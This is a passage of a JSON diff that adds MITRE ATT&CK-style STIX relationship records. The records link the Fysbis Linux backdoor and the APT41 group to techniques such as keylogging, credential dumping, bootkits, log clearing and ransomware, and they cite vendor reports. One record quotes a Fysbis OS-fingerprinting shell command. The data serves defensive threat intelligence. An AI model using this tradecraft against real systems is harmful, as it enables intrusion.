create and execute commands in a remote shell for CLI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-18T18:09:59.911Z", + "id": "relationship--ff9e0633-9618-4616-a303-f9bb059f6289", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-09-27T14:31:02.950Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fysbis Palo Alto Analysis", + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has used the command ls /etc | egrep -e\"fedora\\*|debian\\*|gentoo\\*|mandriva\\*|mandrake\\*|meego\\*|redhat\\*|lsb-\\*|sun-\\*|SUSE\\*|release\" to determine which Linux OS version is running.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-18T18:44:51.030Z", + "id": "relationship--834bbbc7-33b7-41e4-9bc8-98401a5a0e36", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-10-14T19:21:25.499Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", + "source_name": "Fysbis Palo Alto Analysis", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) can perform keylogging. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-18T18:48:48.738Z", + "id": "relationship--1b023598-278c-4a0f-b058-4d169b51f45a", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-09-18T18:48:48.738Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fysbis Palo Alto Analysis", + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753", + "description": "Consider disabling emond by removing the [Launch Daemon](https://attack.mitre.org/techniques/T1160) plist file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-19T14:07:11.826Z", + "id": "relationship--33ae1ed5-83d5-43a8-97e3-3c3aeadbeea3", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-10-16T21:50:02.529Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T13:23:14.337Z", + "id": "relationship--b5344ae6-8083-4a09-98f3-01c1491356dc", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-09-23T13:23:14.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[APT41](https://attack.mitre.org/groups/G0096) leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:31:33.497Z", + "id": "relationship--3213e4e5-c3e4-4d51-8dce-929248f2882b", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-11T13:10:55.567Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed rootkits on Linux systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:40:08.966Z", + "id": "relationship--1be07717-ad08-4364-9a58-b44a95a389a5", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:40:08.989Z", + "id": "relationship--48132286-7b7d-42cf-956b-95c75eeff1e3", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.458Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[APT41](https://attack.mitre.org/groups/G0096) performed password brute-force attacks on the local admin account.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.129Z", + "id": "relationship--79958036-a8bf-4808-af4f-f9f7a9cb6e7c", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used a malware variant called WIDETONE to conduct port scans on the specified subnets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.163Z", + "id": "relationship--883558d8-c445-45cf-a5cd-841fdf49f311", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.531Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used RDP for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.167Z", + "id": "relationship--e7bcc9e7-d373-4b1e-a664-886c4fc04bc5", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.532Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used the Windows Credential Editor to dump password hashes from memory and authenticate other user accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.172Z", + "id": "relationship--cbbbc655-e5a7-40e9-be62-7f29727b9f0c", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.536Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "[APT41](https://attack.mitre.org/groups/G0096) leveraged sticky keys to establish persistence. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.175Z", + "id": "relationship--728c2a84-ac7d-4b17-a287-4c692d717065", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.496Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[APT41](https://attack.mitre.org/groups/G0096) leveraged PowerShell to deploy malware families in victims\u2019 environments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.177Z", + "id": "relationship--1aaecef9-d21a-420c-a6c0-53cca7a5e5d8", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T22:53:30.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[APT41](https://attack.mitre.org/groups/G0096) attempted to masquerade their files as popular anti-virus software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.182Z", + "id": "relationship--285baef5-e948-4e56-a078-5e7f5e7404fd", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.529Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[APT41](https://attack.mitre.org/groups/G0096) sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.245Z", + "id": "relationship--6160a359-35cc-4bbe-ac29-500f2751ed4b", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.533Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[APT41](https://attack.mitre.org/groups/G0096) compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.248Z", + "id": "relationship--556f8dd8-50e0-4115-9815-c20bfc2b915a", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T22:53:30.248Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used a tool called CLASSFON to covertly proxy network communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.251Z", + "id": "relationship--cb0931f7-4d6c-4f21-95a8-fd9d74ba30e0", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T22:53:30.251Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used DGA to change their C2 servers monthly.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.257Z", + "id": "relationship--8488f2ee-be97-458c-894b-830add635fa8", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "description": "[APT41](https://attack.mitre.org/groups/G0096) gained access to production environments where they could inject malicious code into legitimate, signed files and widely distribute them to end users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.259Z", + "id": "relationship--10d118e8-c421-486f-a56a-bbe1ed621c62", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T22:53:30.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used a keylogger called GEARSHIFT on a target system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T22:53:30.291Z", + "id": "relationship--f480c10c-6a40-4fc7-9380-c2690c70a599", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T22:53:30.291Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used compromised credentials to log on to other systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.267Z", + "id": "relationship--0528b64e-e719-44a9-94aa-0576bd9a87ec", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-24T12:53:12.753Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via [PowerSploit](https://attack.mitre.org/software/S0194).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.277Z", + "id": "relationship--f395cb28-5bc0-487e-b679-155ac785b7d9", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.643Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used the WMIEXEC utility to execute whoami commands on remote machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.336Z", + "id": "relationship--ae12b657-a640-40c6-99b7-931ed10705de", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.636Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[APT41](https://attack.mitre.org/groups/G0096) created and modified startup files for persistence. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.339Z", + "id": "relationship--6ad8e998-041f-491d-8691-4990022248e0", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[APT41](https://attack.mitre.org/groups/G0096) attempted to remove evidence of some of its activity by clearing Windows security and system events.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.342Z", + "id": "relationship--4cbd1250-5e79-46c0-b38f-83bd5942f44c", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:08:25.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used a malware variant called GOODLUCK to modify the registry in order to steal credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.347Z", + "id": "relationship--c8475b1b-c98f-4fdc-89dd-c9b04e6fbd9c", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:08:25.347Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[APT41](https://attack.mitre.org/groups/G0096) created a RAR archive of targeted files for exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.350Z", + "id": "relationship--89328749-11c5-416d-99b9-f3039afc487a", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.702Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed a Monero cryptocurrency mining tool in a victim\u2019s environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.395Z", + "id": "relationship--9ebc2d8a-a945-4b5d-805f-56e16bcc6676", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:08:25.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used a ransomware called Encryptor RaaS to encrypt files on the targeted systems and provide a ransom note to the user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.404Z", + "id": "relationship--acfaf7ec-7b92-40ec-a844-17089791a663", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:08:25.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "description": "[APT41](https://attack.mitre.org/groups/G0096) attempted to remove evidence of some of its activity by deleting Bash histories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.411Z", + "id": "relationship--f8838a1f-3a62-40cc-98dd-55943091fcef", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-23T23:08:25.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used legitimate websites for C2 through dead drop resolvers (DDR), including GitHub, Pastebin, and Microsoft TechNet.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23T23:08:25.400Z", + "id": "relationship--964a9222-6e88-4850-89cc-6fc0f10ee4c9", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-10-14T21:52:59.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[APT41](https://attack.mitre.org/groups/G0096) modified legitimate Windows services to install malware backdoors.", + "created_by_ref": 